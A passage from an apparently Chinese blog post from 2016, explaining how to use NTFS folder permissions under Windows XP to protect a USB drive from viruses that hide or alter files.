一个文件夹,专门用来在以后拷文件。然后对这个文件夹设置权限,方法和前面一样,打开这个文件夹的属性,安全。直接点击高级,下面有两个选项,第一个去掉,是为了让这个文件夹和根目录的权限不一样。然后修改EVERYONE的权限。将“应用到”改为“只有该文件夹”,然后加上一些写入什么的权限,不要给“写入属性”“写入扩展属性”之类的权限,不然它会被病毒隐藏,这一步是修改了这个文件夹本身的权限。确定后再添加一个权限,用户名是EVERYONE,应用到“只有子文件夹和文件”,可以把所有的权限基本都给,除了最后的更改权限和取得所有者,当然还有最上面的所有权限。这一步是设定这个文件夹里面的文件的权限。也可以修改一下,比如给写入不给删除,这样这个文件夹里面的文件就只能写不能删了。好了,设置完了,这样你的U盘就彻底防毒了。要拷东西时就拷进指定的文件夹就OK。稍微有些不爽的是不能直接使用“发送到”功能写入U盘。注:本文所有菜单的文字均按WINDOWS XP的写的,如果是更高版本的系统可以自己看着办,方法都差不多。另外,这样制作出来的U盘是无法在WIN98和WIN ME下读取的,不过相信这个年代没有用这系统了的吧。另外UBUNTU是支持NTFS的挂载的,所以理论上在UBUNTU下可以读取,权限就不清楚了,这具具体没试验过。另外其他的LINUX也没试验。
2016年06月11日
87 阅读
0 评论
0 点赞
1
2
...
7